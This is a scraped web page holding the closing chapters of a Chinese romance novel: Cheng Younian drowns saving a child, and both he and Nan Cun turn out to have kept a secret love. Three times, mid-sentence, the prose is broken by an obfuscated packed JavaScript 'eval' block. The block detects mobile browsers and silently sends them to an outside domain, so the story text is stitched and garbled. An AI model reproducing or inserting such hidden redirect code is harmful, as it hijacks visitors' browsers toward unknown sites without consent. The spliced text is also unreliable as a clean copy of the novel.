;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099225|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻抿了抿唇角，最后看了眼程宥年堆的城堡，正想和他一起离开，却听不远处有女人焦急的呼喊。 “球球，球球！哎您好，请问您看见我儿子了吗？” 南存愣了一下，似有所感般，往礁石的方向看了一眼。 刚才还在石头上玩耍的小男孩没了踪影，只有海面上飘着一个花花绿绿的游泳圈。 “有小孩在海里！！” 又有人尖叫。 南存看见了，海面里有双小手在努力扑腾。 程宥年也看见了。 于是，他甚至连一句话都没来得及说，立马朝那个方向奔去。 他赶在所有人反应过来之前，脱了上衣冲进海里。 一片混乱。 南存跟过去，看见程宥年捞着游泳圈游向那个小孩。 沙滩上人不多，大部分都是小孩子。 这边的乱声引起了其他人的注意，大家都在往近靠。 可是来不及。 涨潮了，海浪的力道好大，人的挣扎显得那样微弱。 南存不算很擅长游泳，但他还是赶在其他人之前，第一个靠近了程宥年。 程宥年已经把游泳圈套在了小孩身上，他把游泳圈推向南存： “来，阿存。” 入海帮忙的人也游近了，这该是一场有惊无险的意外。 可是浪好大，水好凉。 南存感觉到程宥年用力握了一下他的手臂，声音很轻，但南存听清了。 “要好好活着。” “好好活着……” 那一瞬间，剧烈的不安感袭来，南存想转头去看程宥年，想问他这话是什么意思。 可迎面而来的，是足以将人淹没的海浪。 耳边的声音很多、很杂。 好像很清晰，又好像被海水分隔去千里之外。 南存抓着游泳圈，护着里面的小孩，艰难地浮出海面。 可目之所及已经没了另一个人的影子。 “程宥年……” 更多人靠近，七手八脚地接过孩子，又伸手来拉南存。 南存却用力甩开了那人的手。 “程宥年！！！” 大海好冷，好大，好深。 原来人类的力量那么微弱，个人的悲欢，也那样不值一提。 南存找不见程宥年了。 明明刚才就在身边，明明前一秒还能感受到他的温度。 可是为什么，就那样轻易地走散了。 海浪拍打着身体，人好像落在水中的一片枯叶，不断地浮沉、摇晃。 一股巨力袭来，南存不受控制地撞在了礁石之上。 恍惚中，他向某个方向伸出了手。 有人靠近，紧紧握住了他。 我还没有准备好，程宥年。 所以你不能走。 说好慢慢来的，我们明明还没有到告别的那一天。 暑假没有结束，我还有话没有说完。 可是怎么办啊。 程宥年。 我找不到你了。 21. ------ ----年，--月--日，-:--，--，-。 是什么时候察觉自己好像少了点东西？ 南存自己也不知道。 “其实我一直有点喜欢你，小存，有没有兴趣和我谈个恋爱试试？” 眉眼精致艳丽的女人在对面搅着咖啡，抬手撩了一下波浪长发。 她是南存工作室的合伙人，美院毕业，近两年风头很盛的新锐画家，比他大三岁。 “抱歉，我……没考虑过这些。” 南存牵了下唇角。 “怎么能不考虑呢，你也不小了。” 女人被拒绝了也没什么多余的情绪，只朝他弯起眼睛笑了笑： “什么喜欢啊，爱啊的，也该提上日程了。” 喜欢，和爱。 这两个词在南存的生命中，实在是太陌生了。 好像是从那天之后，他就开始有些睡不安稳。 总是莫名其妙突然从梦中惊醒，抓不住的那些虚无缥缈的梦境，一大半都与他逝去已久的少年时光有关。 偶尔会听见有人叫他，阿存。 恍惚间好像能看见一双盛满阳光的眼睛，或者一片抓不住的衣角。 展开画布调好颜料，明明心里想画的是梦里那个明媚的夏天。 落笔，回神，画布之上，却已勾勒出一个模模糊糊的剪影。 其实，不知道为什么，比起阳光明媚晴朗无云的天气，南存更喜欢阴云和雨天。 不然，也不会在南江这个城市停留这么久。 南江离海很远，夏日鲜有阳光，多云和阴雨是常态，下雨的味道，总是让南存安心。 可心里却还是总有一处不安，像是哪里缺了一块。 他觉得，自己应该回去看看。 ----年，-月--日，-:--，--，-。 又是一个明媚的艳阳天。 微风和煦，树影在地面摇晃。 南存踩着树荫，穿过一块块坚硬冰凉的石碑。 终于寻见了自己要找的那一块，南存和照片上的少年对视许久，弯腰把手里一捧小雏菊放在了他的墓前。 “我们最后也没能好好告别，程宥年。” 南存垂下眼，指腹蹭过冰冷的石面： “说好带我走，你怎么说话不算话，把你自己带走了？” “还好，还是被我找到了。” 南存到底丢了什么呢？ 丢了记忆。 丢了程宥年。 往事如风，任凭如何努力也抓不到手里。 在捡回的那些记忆里，藏在细枝末节的情绪也重新变得清晰。 ----年，--月--日。 路过运动场时，被篮球砸了肩膀。 罪魁祸首像一阵风刮到身边，南存抬头看去，对上一双盛满阳光的眼睛。 从以前到现在，他都想不通，为什么有人能那么鲜活，那么爱笑。 就像春日的小雏菊，张扬地在阳光下绽放自己的生命。 不知道那一瞬间的失神是什么，也不知道心里是什么情绪。 南存别开视线，快速捡起了自己的东西。 不顾那人在身后的询问，快步离开。 ----年，--月--日。 开学报道第一天，教室里很吵。 南存谁也不认识，低头坐在角落里，往新书上写名字。 “你们班怎么安排？下午一起打球吗？” 有人靠近。 其实南存记得他的声音，但没有抬头去看。 直到他听见那人带着笑意： “哎，是你啊。” ----年，--月--日。 高考结束了，高中的校服却还叠得整整齐齐摆在床头。 以后再也没有用处的东西，南存拿起它们，原本想和杂物一起丢出去扔掉。 但靠近时，却闻到一股熟悉的香味。 拉开拉链，翻开标签。 [程宥年] 程宥年借过他一件外套，可明明，自己前几日就洗干净拿去还给了他。 大概，它们之间发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099226|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生了一些无伤大雅的意外。 他拿错了，但程宥年没有提起。 过时的校服，只是没有用处的东西。 但最后，它的归宿并不是垃圾桶。 南存翻出一个储物箱，把它封存进了衣柜里。 ----年，--月--日。 “滴、滴——” 医疗器械发出冰冷的提示音。 昨天还趴在身边和他一起研究大学的少年躺在了病床上，苍白得像一张纸片。 南存一夜没睡，就那样坐在床边守着。 好像只要他打个盹，程宥年就会悄悄溜走，再也找不见。 可是，医院的夜，太难熬了。 南存静默许久，轻轻抬起了手。 他趁程宥年昏睡着、趁身边再没有别人，轻轻握住了他的手。 那一瞬间，南存好像被抽干了所有力气。 他俯下身，握着程宥年的手，用脸颊轻轻贴上他的手背。 “我害怕，程宥年……” 南存闭了闭眼睛： “你别走。” 南存有一个秘密。 那个秘密被他埋在很深的地方，就算没有人，就算程宥年听不见，他也不敢宣之于口。 他只敢在没人发现的时候轻轻握一下他的手。 万般情绪汇在舌尖，只剩一句—— “不要走。” ----年，-月--日，-:--，--，-。 麻雀在树梢上唱着，和风一起，谱出夏天的味道。 墓碑上的少年眼睛里，眼睛里盛着比太阳还要耀眼的光。 墓碑前，放着一束小雏菊。 还有一只小小的纸鹤。 所以南存到底丢了什么呢？ 丢了记忆。 丢了程宥年。 还丢了一个秘密。 那个秘密只有他知道。 那个秘密叫做， 原来，在那些已经流逝的夏天， 我曾经，那样澎湃，却也那样安静地喜欢着你。 22. ------ ----年，-月--日，-:--，--，-。 死亡对于程宥年来说，从来不是多遥远的事情。 很小的时候，他妈妈在他面前倒了下去。 很快，妈妈就从家里搬了出去，住到了小盒子里。 再后来，他得了和妈妈一样的病。 爸爸好像一夜之间老了很多很多岁，一遍遍地自责，当年留不住妈妈，现在也留不住他。 如果要让程宥年自己选择一种死法，他会选择“牺牲”。 生命总要热烈地燃烧过一次才有意义，总要换点什么才有意义。 可现实是，他只能躺在病床上，一点点迎接死亡的来临。 爸爸从医生那里听说，他的病还有治愈的可能，于是又来了精神，到处借钱，说就算倾家荡产也要治好他。 可程宥年其实不太想进手术室。 花好多钱，让医生把脑袋打开，来搏那虚无缥缈的一线生机。 想想，好像也不太划算。 因为一次次的治疗，程宥年剃光了头发，人也消瘦憔悴了很多。 那段时间，他唯一的乐趣就是下楼坐在医院的长椅上晒太阳。 直到有一天，晒太阳的时候，他看见了一个人。 那个人看起来和他差不多大，一个人坐在大树的阴影下面，坐了很久很久。 明明他身上没穿病号服，人也看着好好的，可是看起来，比自己这个快要死的人还要难过。 他在树下坐了多久，程宥年就看了他多久。 到最后，那个男生终于动了。 他朝自己的方向走了过来。 然后停在他身边，伸手递给他一个东西。 那是个巴掌大的小油画框，上面画着蓝天和飞鸟。 “本来要给我外婆，但是没赶上，她已经不在了。送给你。” 男生垂着眼，语气没什么起伏： “祝你早日康复，好好活下去。” ----年，--月--日。 手术很成功，程宥年在漫长的休养后回归了正常生活。 因为从鬼门关里走过一趟，之后的每一天他都格外珍惜。 胶质瘤的复发率很高，他不知道自己什么时候会再次躺在病床上，那就把每一天都当做最后一天来活。 记得那是高一升高二的暑假，程宥年好不容易从兼职里抽出空来，约朋友去学校打了一下午篮球。 假期，学校里没什么人。 和朋友笑闹的时候，程宥年看见篮球场旁边的小路走过了一个人。 那个人瞧着有些眼熟，所以程宥年分心多看了两眼。 也是因为这一眼，他没能接住朋友抛来的球。 球飞出去，砸到了那个人身上。 程宥年立马跑过去，也看清了那个人的模样。 多年不见，那个人还是那样。 一个人躲在树荫下面。 看起来那样不开心。 ----年，--月--日。 新学期开学，各班安排好下午的大扫除，老师前脚刚走，程宥年后脚就跑了出去。 他从楼层的一班看到六班，最后在离自己最近的七班找见了那个人。 那人独自在角落里坐着，低着头，好像和世界格格不入。 程宥年随便找认识的人搭了个话，很经意地晃到了那个人桌边，发现他正往书上写名字。 其实，从程宥年的角度，看不见他写的字。 但程宥年知道他叫什么名字，因为摆在家里的小画框角落有他的署名。 他写的字很好看，名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099227|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字也很好听。 “哎，是你啊。” “你的名字真好听。” “你好啊南存，我叫程宥年。” “路程的程，宽宥的宥，年年岁岁的年。” ----年，--月--日。 老天爷总是很爱捉弄人。 在他把每一天当成最后一天活的时候，给了他平平坦坦无波无澜的未来。 可在他对未来有了一点点期待的时候，又轻飘飘判下了死刑。 其实程宥年心里没有多难过。 四年前，在被推进手术室的时候，他就已经死过了一次。 往后每一天，都是崭新的番外篇。 要说的话，可能也只有一点点遗憾。 遗憾想做的事没做完。 遗憾番外篇太短。 给南存的毕业礼物，是程宥年临时在病房里准备的。 他是个很普通很普通的人，学习不怎么样，运气也不怎么样，唯一会的，也就只有折纸了。 于是他精心挑选了一个玻璃罐。 透明的玻璃太过单调，所以他往罐身贴了一张贴纸。 贴纸是一朵云彩。 因为南存总是不高兴，像朵小乌云。 放在玻璃罐里的折纸有各种各样的颜色，像一罐彩色糖果。 唯一的一张粉色，被程宥年单独挑了出来，折成纸鹤，埋在了其他颜色中间，从外面看，完全不会被发现。 程宥年有一个秘密。 那个秘密被他写在了粉色的纸鹤里。 将死之人不适合书写太过浓烈的感情。 所以，修修改改，笔尖落下又抬起。 [阿存^-^] 那个秘密， 叫做南存。 【全文完】